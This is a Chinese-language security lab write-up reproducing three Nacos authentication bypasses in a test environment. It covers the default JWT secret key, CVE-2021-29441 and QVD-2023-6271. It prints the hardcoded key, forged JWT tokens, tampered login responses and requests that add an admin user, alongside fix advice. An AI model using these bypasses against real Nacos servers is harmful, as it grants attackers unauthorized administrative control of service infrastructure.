Nacos的系列漏洞和利用技巧

admin 2024年4月22日18:29:16评论6 views字数 4144阅读13分48秒阅读模式

1.产品简介

NACOS是动态命名和配置服务(Dynamic Naming and Configuration Service)的首字母简称,一个易于构建云原生应用的动态服务发现、配置管理和服务管理平台。

Nacos 发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,快速实现动态服务发现、服务配置、服务元数据及流量管理。

Nacos 敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

2.环境搭建

下载文件,该文件为gz压缩文件

wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
Nacos的系列漏洞和利用技巧

转移目录

cd nacos/bin

运行nacos

./startup.sh -m standalone
Nacos的系列漏洞和利用技巧

成功访问网站

http://192.168.163.142:8848/nacos/#/login
Nacos的系列漏洞和利用技巧

默认账号密码

nacos/nacos

关闭nacos

./shutdown.sh

3.nacos身份绕过漏洞

3.1原理

nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。

也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击

对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击

对应就是数据包的accesstoken

3.2影响版本

0.1.0 <= Nacos <= 2.2.0

3.3复现

登录抓包

Nacos的系列漏洞和利用技巧

右键拦截返回包

Nacos的系列漏洞和利用技巧

更换POC

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206

{
 "accessToken""eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
 "tokenTtl": 18000,
 "globalAdmin"false,
 "username""nacos"
}
Nacos的系列漏洞和利用技巧

点击放行

Nacos的系列漏洞和利用技巧

成功进入后台

Nacos的系列漏洞和利用技巧

3.4修复建议

  1. 升级到最新版nacos
  2. 修改配置文件中secret key的值

4.nacos 身份验证绕过漏洞(CVE-2021-29441)

4.1原理

在<1.4.1及更早版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证。

4.2影响版本

nacos<1.4.1

4.3复现

在vulhub上搭建环境

cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/
docker-compose up -d

访问网站

http://192.168.163.142:8848/nacos/#/login
Nacos的系列漏洞和利用技巧

漏洞检测,确定存在该漏洞

http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
Nacos的系列漏洞和利用技巧

把UA改成Nacos-Server

Nacos的系列漏洞和利用技巧

1.成功访问,绕过鉴权,返回用户列表数据

Nacos的系列漏洞和利用技巧

2.绕过鉴权 添加新用户

POST /nacos/v1/auth/users?username=moje&password=123456
Nacos的系列漏洞和利用技巧

成功添加一个moje/123456的用户

3.再次查看用户列表

GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Nacos的系列漏洞和利用技巧

4.成功登陆

Nacos的系列漏洞和利用技巧

5.Nacos身份绕过漏洞(QVD-2023-6271)

5.1原理

Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。

目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

5.2影响版本

0.1.0 <= Nacos <= 2.2.0

5.3 复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
Nacos的系列漏洞和利用技巧
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

5.3.1获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:

在https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{
  "sub""nacos",
  "exp": 1702628457
}

在这里注意:1702628457这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年12月14日16:31:40,在这里面的时间戳时间是12月15号了:

Nacos的系列漏洞和利用技巧
Nacos的系列漏洞和利用技巧

复制上面得到的值,在burp里面选择登录之后构造:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78
Nacos的系列漏洞和利用技巧

此时就得到了nacos的token信息:

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=9734D7B183B749DBAF5ABA8086D7A3FD; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78
Content-Type: application/json
Date: Thu, 14 Dec 2023 08:39:20 GMT
Connection: close
Content-Length: 197

{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}

5.3.2 利用获取token登录后台

如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:

先用假账号登录,用burp拦截返回包

Nacos的系列漏洞和利用技巧

替换之前的token信息

Nacos的系列漏洞和利用技巧

点击放行后,成功进入后台

Nacos的系列漏洞和利用技巧

6.踩坑记录

1.nacos无法正常启动

提示没有为JAVA_HOME配置环境变量

Nacos的系列漏洞和利用技巧

解决方法

使用以下命令安装OpenJDK
sudo apt update
sudo apt install default-jdk
安装完成后,使用以下命令验证Java是否成功安装
java -version
设置JAVA_HOME环境变量。打开/etc/environment文件
sudo nano /etc/environment
在文件的末尾添加以下行(根据您的Java安装路径进行更改)
JAVA_HOME="/usr/lib/jvm/default-java"
使用以下命令使更改生效
source /etc/environment
检查JAVA_HOME是否正确设置
echo $JAVA_HOME

已经成功在Kali Linux上安装并设置了JAVA_HOME

并把statup.cmd添加Java_HOME

Nacos的系列漏洞和利用技巧

-END-

Nacos的系列漏洞和利用技巧如果本文对您有帮助,来个点赞在看就是对我们莫大的鼓励。Nacos的系列漏洞和利用技巧

  推荐关注:

Nacos的系列漏洞和利用技巧
弱口令安全实验室正式成立于2022年1月,是思而听(山东)网络科技有限公司旗下的网络安全研究团队,专注于网络攻防技术渗透测试硬件安全安全开发网络安全赛事以及网安线上教育领域研究几大板块。
团队社群氛围浓厚,同时背靠思而听(山东)网络科技有限公司旗下的“知行网络安全教育平台”作为社区,容纳同好在安全领域不断进行技术提升以及技术分享,从而形成良好闭环。

团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。

欢迎对网络安全技术感兴趣的你来加入我们实验室,可在公众号内依次点击【关于我们】-【加入我们】来获取联系方式~

原文始发于微信公众号(弱口令安全实验室):Nacos的系列漏洞和利用技巧

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日18:29:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos的系列漏洞和利用技巧http://cn-sec.com/archives/2680512.html

发表评论

匿名网友 填写信息